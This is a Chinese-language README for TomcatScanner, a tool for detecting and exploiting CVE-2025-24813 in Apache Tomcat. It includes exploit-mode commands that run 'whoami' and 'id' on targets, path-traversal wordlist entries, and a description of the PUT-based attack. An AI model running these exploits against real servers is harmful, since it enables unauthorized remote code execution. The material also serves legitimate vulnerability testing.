TomcatScanner 是一款综合性安全工具,用于检测和利用 Apache Tomcat 服务器中的 CVE-2025-24813 漏洞。该漏洞涉及 'file.Name' 参数的路径等价性问题,可能导致远程代码执行(RCE)。

git clone https://github.com/yourusername/tomcat-scanner.git
cd tomcat-scanner
pip install -r requirements.txt
requirements.txt 文件应包含:
requests>=2.28.0
urllib3>=1.26.0
创建一个名为 wordlist.txt 的文件,其中包含要测试漏洞的路径,或使用提供的示例字典。
扫描单个目标:
python tomcat_scanner.py -u http://example.com:8080
从文件扫描多个目标:
python tomcat_scanner.py -l targets.txt
usage: tomcat_scanner.py [-h] [-u URL] [-l LIST] [-w WORDLIST] [-t THREADS]
[-o OUTPUT] [--timeout TIMEOUT] [--ssl-verify]
[-v] [--exploit] [--command COMMAND]
Scanner for CVE-2025-24813 vulnerability in Apache Tomcat
optional arguments:
-h, --help 显示此帮助消息并退出
-u URL, --url URL 单个目标 URL(例如 http://example.com:8080)
-l LIST, --list LIST 包含目标 URL 列表的文件
-w WORDLIST, --wordlist WORDLIST
包含要测试路径的字典文件(默认:wordlist.txt)
-t THREADS, --threads THREADS
并行线程数(默认:10)
-o OUTPUT, --output OUTPUT
结果输出文件
--timeout TIMEOUT 请求超时时间(秒)(默认:5)
--ssl-verify 验证 SSL 证书
-v, --verbose 启用详细模式,显示 HTTP 响应代码
--exploit 尝试利用易受攻击的目标
--command COMMAND 用于利用模式的测试命令(默认:echo CVE-2025-24813)
不仅检测,而且利用漏洞:
python tomcat_scanner.py -u http://vulnerable-server.com:8080 --exploit
指定在利用过程中执行的自定义命令:
python tomcat_scanner.py -u http://vulnerable-server.com:8080 --exploit --command "whoami"
python tomcat_scanner.py -u http://example.com:8080 -w my_wordlist.txt
python tomcat_scanner.py -u http://example.com:8080 -t 20 -v
python tomcat_scanner.py -l target_list.txt -o vulnerable_targets.txt
python tomcat_scanner.py -u http://example.com:8080 --exploit --command "id" -v --timeout 10
TomcatScanner 需要一个包含待测试路径的字典文件。字典文件中每行列出一个可能易受攻击的路径。
示例字典条目:
/path/uploads/file.name
/webapps/manager/file.name
/tomcat/manager/uploads/file.name
/uploads/../sessions/absholi7ly.session
该工具提供颜色编码输出,便于快速识别重要信息:
每次扫描结束时,工具会显示摘要,包括:
CVE-2025-24813 影响 Apache Tomcat,涉及应用程序处理 'file.Name' 参数时的路径等价性漏洞。该漏洞可能允许攻击者:
该漏洞通常出现在 PUT 请求被允许写入包含 "file.name" 的路径时,或通过部分 PUT 操作实现路径遍历时。
本工具仅供教育和道德测试目的使用。
未经事先双方同意,使用 TomcatScanner 攻击目标是非法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用本程序造成的任何滥用或损害负责。
欢迎贡献!请随时提交 Pull Request。
贡献步骤:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)本项目采用 MIT 许可证 - 详见 LICENSE 文件。
MIT License
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...